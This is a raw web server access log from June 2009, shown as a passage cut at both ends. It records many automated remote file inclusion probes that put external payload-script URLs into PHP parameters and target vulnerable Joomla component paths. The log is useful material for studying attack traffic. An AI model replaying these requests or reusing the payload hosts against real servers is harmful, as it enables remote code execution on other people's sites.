/2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:04 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 47948 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 755 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 37169 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 42957 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 48134 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 36907 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111011 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 42681 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 55915 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 55854 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:05 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111057 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:07 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111040 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:20 -0600] "GET /%20%20/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:21 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 755 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:21 -0600] "GET /%20%20/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111114 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:22 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111020 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:26 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:26 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:26 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:26 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:27 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 36761 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:27 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 42481 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:27 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 56447 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:27 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111293 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:31 -0600] "GET /2009/06/04/controlling-an-rfi-bot%20%20/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:19:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot%20%20/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 47666 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:45 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:45 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:45 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:45 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:46 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:57 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:57 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:57 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:57 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:57 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:47 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:20:01 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 54169 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:59 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 33304 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:59 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:58 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 26064 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:47 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:53 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:53 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:53 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:53 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:53 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:19:47 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 28960 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:54 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 36817 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:54 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 42660 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:54 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 47568 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:54 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 55712 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:20:54 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111030 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:21:21 -0600] "GET /rfi.txt/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 404 530 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:21:21 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 755 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:21:22 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 110991 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:21:24 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:21:25 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111166 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:23:04 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 755 "-" "Mozilla/5.0" 195.9.3.10 - - [22/Jun/2009:18:23:05 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 111004 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:35 -0600] "GET /2009/06/04/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 790 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:35 -0600] "GET /2009/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:35 -0600] "GET /2009/06/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:35 -0600] "GET /index.php?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:37 -0600] "GET /2009/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:39 -0600] "GET /2009/06/04/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:39 -0600] "GET /?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 15928 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:39 -0600] "GET /2009/06/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 41832 "-" "Mozilla/5.0" 202.69.45.54 - - [22/Jun/2009:18:55:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 200 47071 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:39 -0600] "GET /rfi.txt/facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:39 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:41 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33593 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:44 -0600] "GET /rfi.txt/facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:44 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:33:46 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33593 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:35:43 -0600] "GET /rfi.txt/facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:35:43 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:35:44 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33593 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:36:17 -0600] "GET /rfi.txt%20%20/facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:36:17 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:36:18 -0600] "GET /rfi.txt%20%20/facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33648 "-" "Mozilla/5.0" 123.143.98.5 - - [22/Jun/2009:19:36:18 -0600] "GET /facegle.com/i.social.php?Q=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33592 "-" "Mozilla/5.0" 200.241.55.7 - - [22/Jun/2009:19:53:44 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 404 545 "-" "Mozilla/5.0" 200.241.55.7 - - [22/Jun/2009:19:53:44 -0600] "GET ///vwar/backup/errors.php?error=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 302 799 "-" "Mozilla/5.0" 200.241.55.7 - - [22/Jun/2009:19:53:52 -0600] "GET ///vwar/backup/errors.php?error=http://webmail.visaotur.com.br/novo/bin/copyright.txt???? HTTP/1.1" 404 33714 "-" "Mozilla/5.0" 219.94.194.231 - - [22/Jun/2009:19:56:56 -0600] "GET /rfi.txt/facegle.com/i.social.php?Q=http://67.15.84.42/~spencerg/modules/.log/safe?? HTTP/1.1" 404 532 "-" "libwww-perl/5.79" 219.94.194.231 - - [22/Jun/2009:19:56:57 -0600] "GET /facegle.com/i.social.php?Q=http://67.15.84.42/~spencerg/modules/.log/safe?? HTTP/1.1" 302 786 "-" "libwww-perl/5.79" 219.94.194.231 - - [22/Jun/2009:19:56:58 -0600] "GET /facegle.com/i.social.php?Q=http://67.15.84.42/~spencerg/modules/.log/safe?? HTTP/1.1" 404 33669 "-" "libwww-perl/5.79" 64.118.88.78 - - [22/Jun/2009:20:15:28 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 302 821 "-" "libwww-perl/5.814" 64.118.88.78 - - [22/Jun/2009:20:15:29 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://asianet.ru/themes/idd.txt?? HTTP/1.1" 404 33839 "-" "libwww-perl/5.814" 220.79.47.122 - - [23/Jun/2009:11:30:54 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.neoeffect.co.kr/board//include/yuo.txt? HTTP/1.1" 302 825 "-" "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;" 220.79.47.122 - - [23/Jun/2009:11:31:05 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.neoeffect.co.kr/board//include/yuo.txt? HTTP/1.1" 404 33810 "-" "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;" 69.94.109.230 - - [23/Jun/2009:11:35:23 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://vpk66.ru/images/stories/idd.txt??? HTTP/1.1" 404 562 "-" "libwww-perl/5.803" 69.94.109.230 - - [23/Jun/2009:11:35:23 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://vpk66.ru/images/stories/idd.txt??? HTTP/1.1" 302 816 "-" "libwww-perl/5.803" 69.94.109.230 - - [23/Jun/2009:11:35:25 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://vpk66.ru/images/stories/idd.txt??? HTTP/1.1" 404 33814 "-" "libwww-perl/5.803" 203.173.40.87 - - [23/Jun/2009:11:38:16 -0600] "GET /mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/A51/id.txt???? HTTP/1.1" 404 33573 "-" "libwww-perl/5.803" 65.254.216.47 - - [23/Jun/2009:11:39:12 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:11:39:12 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:11:39:12 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 111767 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:11:40:58 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:11:40:58 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:11:40:59 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 111931 "-" "Mozilla/5.0" 211.206.120.187 - - [23/Jun/2009:11:41:14 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 211.206.120.187 - - [23/Jun/2009:11:41:15 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 302 763 "-" "Mozilla/5.0" 211.206.120.187 - - [23/Jun/2009:11:41:17 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 200 111269 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:11:42:07 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:11:42:12 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:11:42:12 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 111051 "-" "Mozilla/5.0" 209.25.170.12 - - [23/Jun/2009:11:43:43 -0600] "GET //?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:43:44 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111795 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:44:57 -0600] "GET /2009/06/04//index.php?bug=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 774 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:44:58 -0600] "GET //index.php?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 745 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:44:58 -0600] "GET /?seites=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 111814 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:45:05 -0600] "GET //index.php?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 302 744 "-" "-" 209.25.170.12 - - [23/Jun/2009:11:45:06 -0600] "GET /?sayfa=http://dikom.altervista.org/pbot.jpg?????? HTTP/1.1" 200 112035 "-" "-" 211.206.120.187 - - [23/Jun/2009:11:50:27 -0600] "GET /rfi.txt%20%20///?_SERVER[DOCUMENT_ROOT]=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 302 799 "-" "Mozilla/5.0" 211.206.120.187 - - [23/Jun/2009:11:50:27 -0600] "GET /rfi.txt%20%20///?_SERVERDOCUMENT_ROOT=http://law-rich.co.kr/db_control/include/fs1.txt?? HTTP/1.1" 404 33709 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:36 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 556 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:36 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:38 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 556 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:38 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:42 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33738 "-" "Mozilla/5.0" 95.211.85.68 - - [23/Jun/2009:12:33:44 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33738 "-" "Mozilla/5.0" 85.10.128.219 - - [23/Jun/2009:12:34:21 -0600] "GET /errors.php?error=http://www.x-pronet.com/board/safe1.txt? HTTP/1.1" 302 768 "-" "libwww-perl/5.805" 85.10.128.219 - - [23/Jun/2009:12:34:22 -0600] "GET /errors.php?error=http://www.x-pronet.com/board/safe1.txt? HTTP/1.1" 404 33573 "-" "libwww-perl/5.805" 193.243.139.4 - - [23/Jun/2009:12:45:54 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:45:54 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:45:55 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33723 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:11 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:11 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:13 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:13 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:12 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33723 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:46:14 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33724 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:16 -0600] "GET 